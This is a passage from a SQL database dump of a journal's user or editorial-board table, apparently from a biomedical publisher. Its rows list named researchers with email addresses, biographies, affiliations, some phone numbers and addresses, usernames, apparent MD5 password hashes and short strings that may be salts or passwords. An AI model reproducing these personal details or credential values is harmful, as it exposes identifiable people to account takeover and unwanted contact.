States','gordon','d7a5b204aeb94646b0d46650d4dc8d1b','93KRboWl',86,'',409,0,'2019-07-19',1,'','2021-12-22 05:24:10',2,1,'hAJrE7'),(204,'Jennifer','L. Cook','jencook@email.arizona.edu','Jennifer currently working as Professor in the Department of Cardiology','',226,'Professor in the Department of Cardiology,\r\njencook@email.arizona.edu\r\nUnited States','jennifer','30ad9045adfecffd5f247bcda43cc01a','rTMjHpr8',86,'',409,0,'2019-07-19',1,'','2021-12-01 06:37:59',2,1,'RejvSp'),(221,'Dr. Patricia','Islas Salinas','patricia.islas@uacj.mx','Dr. Patricia Islas Salinas, PhD Research Centered Education in the Autonomous University of Chihuahua, Full-time research professor at the Autonomous University of Ciudad Juarez, Multidisciplinary Division in Cuauhtemoc, Chih.','',125,'Dr. Patricia Islas Salinas, PhD Research Centered Education in the Autonomous University of Chihuahua, Full-time research professor at the Autonomous University of Ciudad Juarez, Multidisciplinary Division in Cuauhtemoc, Chih.','dr._patricia','d0054ab564337186466b7956237c3765','SD84buCN',85,'',471,0,'2019-07-23',1,'','2024-03-06 17:05:31',2,1,'vwWIdo'),(222,'Sarkar','Archana ','archana.sarkar5@gmail.com','Dr Archana Sarkar, Assistant Director, MAMTA- Health Institute for Mother & Child PhD in Medical Anthropology from Delhi University','',99,'Dr Archana Sarkar, Assistant Director, MAMTA- Health Institute for Mother & Child PhD in Medical Anthropology from Delhi University','sarkar','e7d9b95ced331579a4ca6cadf685e0fc','SeeRVPCK',85,'',472,0,'2019-07-23',1,'','2024-05-06 09:14:31',2,1,'O2BaFl'),(357,'S. Attia','Ahmed','ahmed.s.attia@gmail.com','“Microbiological and molecular studies of TEM b-lactamase among clinical isolates of Klebsiella pneumoniae”; Master thesis by Dalia Marzouk.','',63,'Egypt','s._attia','f32027aa401c92af8c77a725c9b0b366','v9VxFZf7',251,'',780,0,'2019-08-08',1,'','2024-05-27 08:17:14',2,1,'nnkvNz'),(358,'Xuehua','Wan','kkoster@hawaii.edu','Xuehua Wan is working as a Researcher in University of Hawaii at Manoa. the research focus on Computational Proteomics Researcher and research interests include bacterial signal transduction, molecular mechanisms involved in microbial infectious diseases, and microbial genomics and evolution. she is having membership in Member; American Society for Microbiology.','',226,'Researcher, University of Hawaii at Manoa, Hawaii, United States','xuehua','20c273afc9868d0b5478d8d31bdd8d3c','KgmZncOh',251,'',783,0,'2019-08-08',1,'','2024-04-10 14:19:17',2,1,'1owsLL'),(359,'Yoshihiro','Kawaoka','kawaoka@ims.u-tokyo.ac.jp','Yoshihiro Kawaoka heads the Influenza Research Institute of the University of Wisconsin-Madison and is Professor of the Institute of Medical Science of the University of Tokyo. Dr. Kawaoka is a virologist recognized for his work on the pathogenesis of viral infections. He is known particularly for his studies on influenza and Ebola viruses that have delineated the role of viral and host contributions to pathogenesis and interspecies transmission.  Dr. Kawaoka was born in Kobe City, Japan, in 1955 and grew up there. He received his BS (1978), MS (1980), and PhD (1983) degrees from Hokkaido University and his DVM degree (1980) from the Ministry of Agriculture and Fishery, Japan. He was a postdoctoral fellow at St. Jude Children\'s Research Hospital and joined the faculty in 1985 before he became a professor at the University of Wisconsin-Madison in 1997 and at the University of Tokyo in 1999.','',107,'Japan','yoshihiro','74895b1c1ad780f87f1f03cb36f6aba2','4TNl5fB6',251,'',781,0,'2019-08-08',1,'','2024-04-10 14:05:53',2,1,'pSqlqV'),(633,'Prof. Dr. Bela H.','BUCK','BelaHBuck@awde','Alfred Wegener Institute for Polar and Marine Research, Germany','',80,'Alfred Wegener Institute for Polar and Marine Research, Germany','prof._dr._bela_h.','c1c0576daec80aed3b828063994e933c','PTDXyt0Q',639,'',1782,0,'2019-08-20',1,'','2024-03-21 14:49:18',2,1,'r2ZzlE'),(634,'Prof. Dr. Fatih','CAN','fcan@mkedutr','Iskenderun Technical Univ., Faculty of Marine Sciences and Technology, Department of Water Resources Management and Organization','',218,'Iskenderun Technical Univ., Faculty of Marine Sciences and Technology, Department of Water Resources Management and Organization','prof._dr._fatih','c298b7409cd6e98a753c31cc77354855','NzMOXR3S',639,'',1781,0,'2019-08-20',1,'','2024-02-03 11:47:02',2,1,'baVr5J'),(1011,'PROF. ANTONIO','SCILIMATI','antonio.scilimati@uniba.it','From November 1998 - Associate Professor of Medicinal Chemistry c/o the Faculty of Pharmacy of the Università di Bari, where he teaches \"Analysis of drugs “ and  \"Medicinal Chemistry\" \r\n\r\nMember (from 2011) of HTA (Health Technology Assesment) of Health Regional Agency (AReS Puglia) for diagnosis by  \"Nuclear Medicine\" in Puglia, a Region of Italy.\r\n\r\nFrom September 1994 to October 1998 - Director of Quality Control Dept and R&D of Serono (Bari Plant, Italy), and \r\nfrom 1997 he was also Technical Director and Qualified Person at the same Biotechnology Pharmaceutical Industry.\r\nFrom March 1984 to 26th July 1985- Researcher at the Chemistry Dept (Faculty of Science) of the University of Bari - Italy. \r\nFrom 27th July to May 1994 - Researcher at the Medicinal-Chemistry Dept of the same University (Faculty of Pharmacy).\r\nFrom August 1987 -One year spent c/o the Center for Health Sciences - School of Pharmacy della University of Wisconsin - Madison (USA) under the supervision of the Prof. Charles J.Sih, where he studied biocatalysis and biotransformations applied to the preparation of biologically and/or pharmacologically active compounds.\r\nMarch 1982 Laurea cum laude in Chemistry at the University of Bari, with the thesis “Synthesis of precursors of alfa-aminoacids“.\r\n','',105,'Professor, Department of Pharmacy - Scienze del Farmaco, University of Bari, Italy\r\n','prof._antonio','197c91e381bf9d2c18e4e962e66db515','MtxePqqc',91,'',1325,0,'2019-09-05',1,'','2024-05-23 09:22:51',2,1,'rJk0YM'),(1012,'Dr. Arif',' Tasleem Jan','atasleem@gmail.com','	Adroit at learning new concepts quickly, working well under pressure and communicating ideas clearly and effectively. \r\n	Friendly with an upbeat attitude, excellent decision making skills with a positive approach. \r\n	Solid ability of conceptual thinking and expertise in the retrieval and appraisal of relevant scientific information. \r\nACADEMIC ACHIEVEMENTS\r\n	Awarded prestigious Dr. D.S. Kothari Postdoctoral fellowship (49th list) (2014).\r\n	DBT RA at National Institute of Immunology (2012-2014).\r\n	Awarded CSIR RA fellowship under Life Science category (2013).\r\n	Awarded CSIR SRF fellowship under Gen Bio category (2010). \r\n	Qualified GATE with 92 percentile under Roll No. 325222 (2007).\r\n	PhD (2007- 2012) from Department of Biosciences, Jamia Millia Islamia, New Delhi, India.\r\n	Master of Science in Biosciences (2003-2005) with first Division from Department of Biosciences, Jamia Millia Islamia, New Delhi, India. \r\n	Bachelor of Science (1999-2002) from Kashmir University, J&K, India.\r\n	Senior Secondary Examination through JKBOSE.\r\n	Secondary school examination through CBSE Board.\r\n\r\n','',113,'Assistant Professor, School of Biotechnology, Yeungnam University, Republic of Korea\r\n','dr._arif','69975aff37b516af509cb433c7bb6d6d','9872V94j',91,'',2421,0,'2019-09-05',1,'','2024-03-22 15:23:35',2,1,'enK8uv'),(1067,'Omer','Engin','omerengin@hotmail.com','He is awarded Doctorate in Surgery from Ministry of Health, Taksim Training and Research Hospital Turkey, in the 1998.  He holds a Master?s Degree (MSc) in Surgery from Istanbul University, Medicine Faculty Turkey in the 1991.  Currently, he is working as an Professor for Buca Seyfi Demirsoy State Hospital. His international experience includes various programs, contributions and participation in different countries in diversified fields of study.  His research interests as a Professor reflect in his a wide range of publications in various national and international journals.  He is the Editorial Board Member of International Journal of Oncotherapy, Journal of Universal Surgery, Buca Journal of Medicine, International Archives of Medicine and serves as a member of various associations like Turk Cerrahi Dernegi, Ulusal Endoskopik Laparoskopik Cerrahi Dernegi, Ege Cerrahi Dernegi , apart from being an author of many books like Dental photography.','',218,'Associate Professor of Surgery, Buca Seyfi Demirsoy State Hospital, Surgery Department, Izmir, Turkey.','omer','4235180c0ec3d912d01414e38e6dc44b','sFPsN5Z5',326,'',2505,0,'2019-09-09',1,'','2024-04-11 09:42:19',2,1,'5WZDwk'),(1068,'Roberto','Gramignoli','roberto.Gramignoli@ki.se','Dr. Roberto Gramignolipresently working as an assistant professor at Karolinska Institute, Sweden.He has won many awards in the field of medicine some of which inclde:\r\n Travel Grants (ASBMT-ISCT, 2015; Cell Transplant Society Young Investigator, 2013; European Science\r\nFoundation, 2012; Progetto Cariplo, 2011 & 2013; Marie Curie Educational Program, 2006)\r\nFellowship from American national PKU Alliance, USA, 2010 & 2011 etc.\r\nSome of his publications include:\r\nGramignoli R. Therapeutic Use of Human Amnion-Derived Products: Cell-Based Therapy for Liver\r\nDisease. Curr Pathobiol Rep 2016; 4:157?167\r\n? Gramignoli R, Srinivasan RC, Kannisto K, Strom SC. Isolation of Human Amnion Epithelial Cells\r\naccording to current Good Manufacturing Procedures, GMP. Curr Protoc Stem Cell Biol, 2016;\r\n37:1E.10.1-1E.10.13\r\nGramignoli R, Strom SC. HLA-G Expression in Human Amnion Epithelial Cells in Treatment for Liver\r\nDiseases. Hum Immunol, 2016; 77(9):734-9\r\n? Giebel NL, Shadley JD, McCarver DG, Dorko K, Gramignoli R, Strom SC, Yan K, Simpson PM, Hines RN.\r\nRole of Chromatin Structural Changes in Regulating Human CYP3A Ontogeny. Drug Metab Dispos 2016;\r\n44(7):1027-37','',205,'Roberto Gramignoli, Assistant Professor, Dept. Laboratory Medicine, Karolinska Institute, Stockholm, Sweden.','roberto','70aeb993191d489a2cdcd8be078084a0','wqFaYEed',326,'',2505,0,'2019-09-09',1,'','2024-04-11 09:47:59',2,1,'hXqxDK'),(1069,'Yang','Wang','ivywang@creighton.edu','Dr. Yang Wang, working as Research Assistant in Medical Microbiology & Immunology Department at Creighton University. He has received Young Investigator Award and also Liaoning Normal University Excellent Thesis Award. He is also the Chair of Creighton Chinese Students and scholars Association. He has published many articles in different Journals and also he has reviewed number of articles.','',226,'Research Assistant, Medical Microbiology & Immunology Medical Microbiology Department, Creighton University,Omaha,Nebraska.','yang','12dc2f5d6b171d9edee5e3099ab7ec7c','MikP82VX',326,'',2505,0,'2019-09-09',1,'','2024-04-11 09:50:02',2,1,'FwPdLJ'),(1070,'Maqsood Manzoor','Elahi','manzoor_elahi@hotmail.com','I am a certified adult and congenital cardiac, thoracic and transplant/ mechanical circulatory devices surgeon with dedicated professionalism in a wide range of academic,research and general management skills with a track record of achievements in Academia and National Health Service.\r\n? Personal strengths include determination, attention to detail and a desire to make real contribution to every aspect of my work.\r\n? Academic Interest: Pathophysiology of Nitric Oxide related oxidative stress in blood and its relation to inflammation in early origins of cardiovascular disease.\r\n? Clinical and Surgical Interests: Adult cardiac surgery; Transplant surgery & Paediatric cardiac surgery.','',226,'Adult & Paediatric Cardiothoracic Surgeon, Heart and Lung Research Institute, Cardiac Eye International Foundation, Texas, USA.','maqsood_manzoor','7c64b4e66392f6e6bcb12d98b44c0cb6','IWiIb8bt',326,'',2505,0,'2019-09-09',1,'','2024-04-11 09:43:11',2,1,'gjbk9x'),(1235,'Manuel','Menendez','manuelmenendez@gmail.com','-','0',199,'Hospital Álvarez Buylla, España','manuel','30da605fdea014caa4d8a700c1bd83c0','ZHGFSWln',277,NULL,2793,0,'2019-09-18',1,NULL,'2024-03-25 13:16:43',2,1,'kxGOcl'),(1245,'Soni S','S','dr.soni.rmch@gmail.com','Soni S\r\nDepartment of Pharmacology\r\nAll India Institute of Medical Sciences\r\nPhulwarishariff, Patna, Bihar, India\r\nTel: +919470123260\r\nE-mail: dr.soni.rmch@gmail.com','0',99,'Phulwarishariff, Patna, Bihar, India\r\nTel: +919470123260\r\nE-mail: dr.soni.rmch@gmail.com','soni_s','ffb751abe2114608cca64fc7d50f216b','LZEmflQl',91,NULL,2427,0,'2019-09-23',1,NULL,'2024-05-23 09:58:19',2,1,'D7Opff'),(1251,'Sundar Nandi','Shyam ','shyam.nandi@unmc.edu','Department of Cellular & Integrative Physiology, University of Nebraska Medical Center, USA','0',226,'University of Nebraska Medical Center, USA','sundar_nandi','e3f9738d9a9bdcd44dd632064af2c896','72j2Bjjk',86,NULL,409,0,'2019-09-30',1,NULL,'2022-03-11 13:21:59',2,1,'kTCgLO'),(1291,'Isik','Arda ','kararda@yahoo.com','Department of General Surgery, Erzincan University, Turkey','0',218,'Department of General Surgery, Erzincan University, Turkey','isik','e8dd89267d31105ff0478bb6c7a7575c','1GqmD6Ny',86,NULL,2890,0,'2019-11-07',1,NULL,'2022-03-13 02:13:27',2,1,'p48nfH'),(1310,'Sandeep','Misra ','skmisra@olemiss.edu','Associate Research Scientist, Dr. Joshua Sharp group,Department of Biomolecular Sciences,University of Mississippi University, MS 38677','0',226,'University of Mississippi University, MS 38677','sandeep','4ab3c8e6d55968efc4535c7c0cbe2597','LnGnFadA',959,NULL,3142,0,'2019-11-30',1,NULL,'2024-01-25 12:54:25',2,1,'69c7FS'),(1315,'Bijesh Kumar','Biswal ','biswalb@nitrkl.ac.in','Professor ','0',99,'Department of Life Science National Institute of Technology Rourkela Odisha, India\r\n\r\n','bijesh_kumar','df3f3180ae32332281944dbc8da94357','6yGp9m5l',959,NULL,3162,0,'2019-12-09',1,NULL,'2024-03-18 14:08:00',2,1,'aPYTer'),(1324,'Dr. Asif Khurshid ,','Qazi','qazi_biochem@rediffmail.com','Ph.D, PDF (USA) Demonstrator Dept. of Biochemistry Govt. Medical college, Baramullah, Kashmir, J&K-193103 Cell:9419019899','0',31,'Govt. Medical college, Baramullah, Kashmir','dr._asif_khurshid_,','125a60f55e1798e45e410393c6aaaf4e','XlYEhJiG',959,NULL,2817,0,'2019-12-23',1,NULL,'2024-03-18 14:16:52',2,1,'JB1CCz'),(1342,'Adel','Gouri','pharmagor@gmail.com','Head of Laboratory of Clinical Biochemistry, Ibn Zohr Public Hospital, Algeria','0',3,'Ibn Zohr Public Hospital, Algeria','adel','04f3791f995637c1f6ff24e334c7c2eb','4ijKPSZx',971,NULL,3236,0,'2020-01-24',1,NULL,'2023-10-19 11:27:10',2,1,'c9npZs'),(1343,'Szarpak','Lukasz ','lukasz.szarpak@gmail.com','Department of Emergency Medicine, Medical University of Warsaw, Poland','0',171,'Department of Emergency Medicine, Medical University of Warsaw, Poland','szarpak','fe7b1745c4a53972fc0f0cce2956d031','eRgytVxj',86,NULL,409,0,'2020-01-25',1,NULL,'2022-05-04 17:10:26',2,1,'ldmE1A'),(1367,'Alireza',' Heidari','scholar.researcher.scientist@gmail.com','Prof. Dr. Alireza Heidari, Ph.D., D.Sc.\r\nFull Distinguished Professor and Academic Tenure of Chemistry &\r\nDirector of the BioSpectroscopy Core Research Laboratory at\r\nFaculty of Chemistry, California South University (CSU), Irvine, California, USA &\r\nPresident of the American International Standards Institute (AISI)\r\nIrvine, California, USA\r\n','0',226,'Faculty of Chemistry, California South University (CSU), Irvine, California','alireza','665bec250c286b07cb54f1e24897fd9f','ftX3yVtT',959,NULL,3284,0,'2020-02-11',1,NULL,'2024-03-18 14:26:48',2,1,'PQtPxD'),(1370,'Raul','R. Gainetdinov','raul.gainetdinov@iit.it','Director in St. Petersburg State University, Institute of Translational Biomedicine, RUSSIAN FEDERATION','0',177,'St. Petersburg State University,RUSSIAN FEDERATION','raul','a97e27216e38e4ae0192407551b22c59','RfDLXxFZ',667,NULL,3322,0,'2020-02-26',1,NULL,'2024-03-25 13:33:03',2,1,'9ytGry'),(1393,'Aslanidis','Theodoros ','thaslan@hotmail.com','Anesthesiology-Critical Care-Prehopsital Emergeny Medicine, Intensive Care Unit, St. Paul General Hospital, Thessaloniki, Greece.','0',83,'Anesthesiology-Critical Care-Prehopsital Emergeny Medicine, Intensive Care Unit, St. Paul General Hospital, Thessaloniki, Greece.','aslanidis','6d36e12b5786445c336293ad25d3870f','qD4MurMN',86,NULL,409,0,'2020-04-16',1,NULL,'2023-02-22 15:05:16',2,1,'1wtgsP'),(1394,'Al-Tonbary','Youssef ','ytonbary@gmail.com','Chief, Division of Haematology/Oncology, Pediatrics Department, Mansoura University, Egypt','0',63,'Chief, Division of Haematology/Oncology, Pediatrics Department, Mansoura University, Egypt','al-tonbary','3b95c2db4bb158d8395d0b6a3f3b91de','8kU2pAjI',86,NULL,712,0,'2020-04-20',1,NULL,'2023-03-14 13:16:53',2,1,'S4pgvw'),(1406,'Olga S','Latinovic','olatinovic@ihv.umaryland.edu','Assistant Professor, Institute of Human Virology,\r\n\r\nUniversity of Maryland School of Medicine\r\n\r\n Head, Lab for Pathogen & Cell Interaction\r\n\r\n 725 W Lombard St, Rm N615.\r\nBaltimore, MD 21209 USA\r\n\r\np. 410 706 2679','0',226,'Assistant Professor, Institute of Human Virology,\r\n\r\nUniversity of Maryland School of Medicine\r\n\r\n Head, Lab for Pathogen & Cell Interaction\r\n\r\n 725 W Lombard St, Rm N615.\r\nBaltimore, MD 21209 USA\r\n\r\np. 410 706 2679','olga_s','0eb9051ddd0dab234ea80da660f8b7ae','L3lYDvnM',971,NULL,3249,0,'2020-05-11',1,NULL,'2024-05-16 06:23:45',2,1,'3sEg2g'),(1408,'Azizur Rahman','Mohammad ','mohammadrahmandr@gmail.com','Associate Professor of Respiratory Medicine, Faculty of Medicine, Dhaka University','0',18,'Associate Professor of Respiratory Medicine, Faculty of Medicine, Dhaka University','azizur_rahman','e2e9399e3a9a6d6f1c0b137802735f06','TvoCB74a',86,NULL,3411,0,'2020-05-11',1,NULL,'2024-02-05 14:15:44',2,1,'3g1Cgt'),(1410,'Sudhanshu','Shekhar','sekharsudhansu@hotmail.com','BSc(Hons), DVM, MSc(Oxon),hD Norwegian Council Research Fellow, University of Oslo, Norway','0',160,'Dr. Sudhanshu Shekhar, BSc(Hons), DVM, MSc(Oxon), PhD Norwegian Council Research Fellow, University of Oslo, Norway','sudhanshu','02476b2207af971052a1f1480ea0851c','XjaPr9HC',975,NULL,3460,0,'2020-05-23',1,NULL,'2024-02-27 14:18:11',2,1,'9X0c1a'),(1439,'M. Fleming','Richard ','drrichardmfleming@gmail.com','FHHI-OmnificImaging-Camelot, El Segundo, CA, USA','0',226,'FHHI-OmnificImaging-Camelot, El Segundo, CA, USA','m._fleming','a5fb3ecef15639f1de169f0334b7488b','F3hTrCHA',86,NULL,2890,0,'2020-06-12',1,NULL,'2023-02-27 16:48:55',2,1,'wuSqA6'),(1452,'Nilesh','Jain','profnilesjain@gmail.com','Associate Professor','0',99,' ','nilesh','72794c2d16863abad273e7630f641486','PPuMAxrB',91,NULL,1325,0,'2020-07-13',1,NULL,'2024-05-29 06:17:58',2,1,'RXItBk'),(1456,'Alexander E','Berezin','dr_berezin@mail.ru','Dr. Alexander E Berezin has received PhD in 1994 in the State Medical University of Zaporozhye (Ukraine). He is currently working as a Professor of Medicine in the State Medical University of Zaporozhye (Ukraine). His research goals are fundamental study of biological markers, the development of cardiovascular prevention and rehabilitation. Based on this research and training in heart failure he has received several awards and honors. He has published 850 papers and more in reputed journals, 27 books/chapters and has been serving as an editorial board member of repute','0',223,'--','alexander_e','b86ccc8042d64eb9a962e9943585a915','uN7Aog3r',667,NULL,3774,0,'2020-07-15',1,NULL,'2024-03-25 13:24:27',2,1,'GCM0cZ'),(1574,'Satoh','Hiroaki ','hiroaki@fmu.ac.jp','Department of Nephrology, Hypertension, Diabetology, Endocrinology, and Metabolism, Fukushima Medical University, Japan','0',107,'Fukushima Medical University, Japan','satoh','dcad13a8774735ea9f686a2878f8c83c','4CHdz3yc',86,NULL,4014,0,'2020-12-10',1,NULL,'2023-07-13 14:12:34',2,1,'j4ELw6'),(1594,'Manuel','Menendez','menendezmanuel@gmail.com','Hospital Álvarez Buylla, España','0',199,'Hospital Álvarez Buylla, España','manuel','d25637de0a05967a86e4c574dae64c67','N8lH9Cn1',277,NULL,2793,0,'2021-02-01',1,NULL,'2023-07-03 14:30:27',2,1,'asN1vn'),(1654,'musab','mohammed','musab.noor13@gmail.com','Head of Medical parasitoloy Phylum, Elsheikh Abdallah Elbadri University , Sudan.','0',201,'Sudan','musab','80b5f9b8414728ba587310ede096f5f1','Veyf1bvy',971,NULL,3249,0,'2021-03-26',1,NULL,'2023-07-20 14:10:35',2,1,'XGotaj'),(1659,'Leonardo','Strejilevich','leonardostrejilevich@hotmail.com','  ','0',10,'Medico jubilado. Ex-Profesor Universitario, Argentina','leonardo','f4f00078f176ecadc4d61d6b515b5f10','DAqmMVwq',277,NULL,2793,0,'2021-03-30',1,NULL,'2022-04-20 12:09:12',2,1,'Gwt6hQ'),(1661,'Ricardo','Correa','riccorrea20@hotmail.com','  ','0',199,'Instituto Conmemorativo Gorgas, Spain','ricardo','db1141009f3b39af3f2e852c33bf5ab5','LyjGUxsz',277,NULL,2793,0,'2021-03-31',1,NULL,'2022-08-19 17:23:49',2,1,'u4zXsi'),(1662,'Pavel Alexei','Chisholm','pavelalexei.chisholm@salud.madrid.org','  ','0',199,'Departamento de Medicina Interna. Hospital Gregorio Marañón. Madrid, España, España','pavel_alexei','b9935363bec791a4a2d454290a1647a7','knr3Fa6J',277,NULL,2793,0,'2021-03-31',1,NULL,NULL,2,1,'MsoHrT'),(1663,'Christian Ortega','Loubon','christlord26@gmail.com','  ','0',199,'spain','christian_ortega','52d99b4c660f1fee34654e480e6bec1d','3QVkU3Gq',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-04-04 10:23:30',2,1,'TA5pry'),(1664,'José López','Castro','jlcastro126@hotmail.com','  ','0',199,'Hospital Comarcal de Monforte de Lemos (Lugo). SERGAS. España','josé_lópez','d0b3ca51f23643f95037ddc32b8253c0','9JAH486O',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-07-18 11:38:20',2,1,'ZnG4oE'),(1665,'Jose Antonio','Rivera Tapia','jartapia@gmail.com','  ','0',138,'Centro de Investigaciones en Ciencias Microbilológicas, Instituto de Ciencias de la Benemérita Universidad Autonoma de Puebla. México','jose_antonio','28d3f0489c7312f34af2a91b54cae772','tkvdh5I4',277,NULL,2793,0,'2021-03-31',1,NULL,'2022-06-23 11:03:15',2,1,'xBkoTZ'),(1666,'Oscar','Alzate','o_alzate@hotmail.com','  ','0',199,'Profesor Asociado: Department of Cell and Developmental Biology Director','oscar','5f6de136f7d7bfe3413dceae9e08d65c','Ry3YcGb0',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-02-09 10:12:41',2,1,'6CnSzr'),(1667,'Carlos Antonio','Guillén Astete','caranguillen@gmail.com','  ','0',199,'Hospital Universitario Ramón y Cajal., España','carlos_antonio','be1d5e67a13b88410511ba8a5e91166c','g7oaDEC8',277,NULL,2793,0,'2021-03-31',1,NULL,'2022-08-19 16:46:48',2,1,'DCTAi1'),(1668,'Francisco José','Tavares Sánchez','dr.tavaressanchez@gmail.com','  ','0',199,'Hospital Vital Alvarez-Buylla. Mieres., España','francisco_josé','0b14fea2a82de9af7f51b99f67077841','Ljrcav33',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-07-18 11:44:54',2,1,'SPJhiN'),(1669,'Fernando Herbert','Calmet Schwartzmann','FCalmet@med.miami.edu','  ','0',168,'University of Miami / Jackson Memorial Hospital, Perú','fernando_herbert','622db574df684f74c00aea8ed53d7631','fDokCYIS',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-04-04 10:23:14',2,1,'oo7Tsz'),(1670,'Julio C�sar','Rodr�guez Fern�ndez','juliorodriguez333@gmail.com','  ','0',199,'Hospital Vital Álvarez-Buylla, España','julio_c�sar','432a3ab3f960b88131424d01b457951a','DWTf6px1',277,NULL,2793,0,'2021-03-31',1,NULL,'2023-08-18 09:56:54',2,1,'p87CLc'),(1674,'helen','cruze','helencruze@gmail.com','microbiology','0',14,' ','helen','6f80e80618c0173df14799927cbd7991','KDDFGc4j',251,NULL,779,0,'2021-04-16',1,NULL,'2024-05-27 08:41:09',2,1,'OgzSzh'),(1675,'Ivann','Minic ','ivanminicc@yahoo.com','Medical faculty, Department of Oral Medicine and Parodontology, University of Nis, Serbia','0',189,'Medical faculty, Department of Oral Medicine and Parodontology, University of Nis, Serbia','ivann','4c970da767d4337b1b4f3516957ab27c','UqeyShwL',86,NULL,2890,0,'2021-04-16',1,NULL,'2023-05-06 10:01:43',2,1,'H420QW'),(1705,'Amar','Farghaly','farghalyam16@gmail.com','Amar Farghaly is a researcher and he will write manuscripts and he does publishing for the papers','0',225,'35 Ruddlesway, Windsor, Berkshire, SL4 5SF','amar','50ae0a50a0fe9689ca19d634d77cf0e2','ZMobVFte',91,NULL,2231,0,'2021-07-17',1,NULL,'2024-05-23 08:34:19',2,1,'0ha1dd'),(1708,'Prof. Dr. Fatih','CAN','fcan36@mkedutr','Iskenderun Technical Univ., Faculty of Marine Sciences and Technology, Department of Water Resources Management and Organization','0',218,'Iskenderun Technical Univ., Faculty of Marine Sciences and Technology, Department of Water Resources Management and Organization','prof._dr._fatih','f6168ea2a45bf108578250b2919656e6','ecwkCvXL',639,NULL,1776,0,'2021-07-19',1,NULL,'2024-04-19 09:52:41',2,1,'2iD7XX'),(1710,'Sayed','Fekry Abdelwahab','sayed.awahab@mu.edu.eg','Minia University Faculty of Medicine, Egypt','0',63,'Minia University Faculty of Medicine, Egypt','sayed','4cf0adf42c10f75c9fa9ffce8cfde2b2','Ix4wWY5j',971,NULL,3249,0,'2021-07-21',1,NULL,'2023-09-27 14:04:36',2,1,'XPNxIu'),(1732,'Lijie','Dong','aitaomubang@126.com','1.	Sep.2004? Jul.2009 Ph.D. of immunology , Tianjin Medical University, Tianjin, China  \r\n2.	Sep.1999? Jul.2004 Clinical Medicine, Tianjin Medical University, Tianjin China    \r\n \r\nSkills\r\n* Molecular Biology\r\n      DNA cloning PCR, RT-PCR\r\n      Gene expression in prokaryote and eukaryote, GST-pulldown,\r\n      SDS-PAGE, Western blot, antibody and ligand affinity chromatography\r\n      immunoprecipitation ,co- immunoprecipitation\r\n* Flow cytometry analysis T cell proliferation assay, migration assay\r\n*Protein purification, prepare polyclonal antibody, ChIP assay\r\n      Immunohistochemistry, Immunoassay (ELISA, ELISPOT)\r\n      Cell culture, MSCs culture, BMDCs culture, lymphocyte isolation, measurement of cytokines, Establishment of EAU models\r\nResearch Experience\r\n1.	Sep.2004? Jul.2009 department of immunology, Tianjin Medical University, Tianjin China THESIS: the molecular mechanism of transcriptional inhibitor PSF suppress IL-4/STAT6 transcriptional activity, Tianjin, China.\r\n2.	Jul.2009? present, Tianjin Medical University Eye institute, Tianjin, China.\r\n3.	Sep.2012? Oct.2013 Institute for Medical Microbiology, Otto-von-Guericke University, Magdeburg, Germany.\r\n\r\nCompleted Work:\r\n?	as a project principal: molecular mechanism of transcriptional inhibitor PSF suppress IL-4/STAT6 transcriptional activity(2007-2009).\r\n?	as a project principal: the molecular mechanism of transcriptional inhibitor PSF suppress Human retinal microvessal endothelial cells proliferation with IGF-1 stimulation. (NSFC Granted NO. 31100991,2012-2014)\r\n?	as a project principal: PTB-associated Splicing Factor (PSF) Functions as a Repressor of IGF-1-stimulated VEGF expression. Granted by Tianjin Municipal Science and Technology Commission (Granted NO. 15JCYBJC24900, 2015-2017)\r\n?	as the participant: Characteristic of CD4+CD25+ regulatory T cells involved in dry eye disease and immune-treatment of autoimmune dry eye by anti-CD3 mAb (NSFC Granted NO. 81100646, 2012-2014)\r\n?	as the participant :Identification the miRNAs related with the differentiation of ESCs into RPE cells and theit effect on JUN passway. (NSFC Granted NO. 30973255, 2011-2013)\r\n\r\nOngoing project:\r\n?	as a project principal: PTB-associated splicing factor (PSF) functions as a repressor of HIF-1?-mediated VEGF gene transcription by recruitment of Hakai. (NSFC Granted NO. 81570872,2016-2019)\r\n?	Young Medical Talents Project in Tianjin \r\n?	Talent Project in the New Centur in Tianjin Medical University Eye Hospital\r\n\r\nProfessional experiences\r\n1.	Jul.2009?Dec.2015 Assistant Research ,Tianjin Medical University Eye institute, Tianjin, China.\r\n2.	Jan.2016?present Associated Researcher, Tianjin Medical University Eye institute, Tianjin, China.\r\n3.	Sep.2012?Oct.2013 Guest Scientist, Institute for Medical Microbiology, Otto-von-Guericke University, Magdeburg, Germany.\r\n','0',44,'940 Stanton L. Young Blvd., BMSB 312. Oklahoma City, OK 73104, Nationality: P. R. China\r\nTel: 4053266077(mobile)','lijie','0011cd6ba79a1ec8f5a35b5c494ec165','9RPOGh7A',667,NULL,3933,0,'2021-09-08',1,NULL,'2024-03-25 13:23:09',2,1,'I76pLq'),(1740,'John','Venanzi','Johnvenanzi@gmail.com','President of Konstantinion Research Center of Molecular Medicine and Biotechnology Non-profit foundation, Greece','0',83,'President of Konstantinion Research Center of Molecular Medicine and Biotechnology Non-profit foundation, Greece','john','36ef295e4282fc35e1ca1db4e5b7e62a','Z0xPQ7cs',1020,NULL,5042,0,'2021-09-13',1,NULL,'2023-08-11 10:40:15',2,1,'eRDRNu'),(1749,'Giuseppe','Maurizio Campo','gcampo@unime.it',' ','0',105,'Aggregate Professor of Biochemistry, Department of Clinical and Experimenatl Medicine, University of Messina Messina','giuseppe','d08d1eb970c59d8ca282e7904796740d','c6hoFXtp',996,NULL,3649,0,'2021-09-17',1,NULL,'2024-01-31 16:39:58',2,1,'KR58zk'),(1750,'Stojanovich','Ljudmila','Ljudmila@Eunet.yu',' ','0',189,' ','stojanovich','6b731576f63331cc34e09467381ae056','CX2i5XSS',996,NULL,3649,0,'2021-09-18',1,NULL,'2024-01-31 15:50:22',2,1,'2DgQxC'),(1779,'Prabhat K','Sharma','sharmapk@chop.edu','• Jan 2004 – Feb 2010, Department of Transplant Immunology & Immunogenetics, All India Institute of Medical Sciences, New Delhi, India,\r\n• Thesis title: ‘Role of Regulatory T cells in human tuberculosis’.\r\n• Supported by Council of Scientific and Industrial Research (CSIR)-UGC-National Eligibility Test Research fellowship, Life Sciences, Government of India','0',99,'Department of Immunology, Center for Spatial and Functional Genomics The Children’s Hospital of Philadelphia, 914H Abramson Research Center (CHOP), 3615 Civic Center Boulevard, Philadelphia, PA, 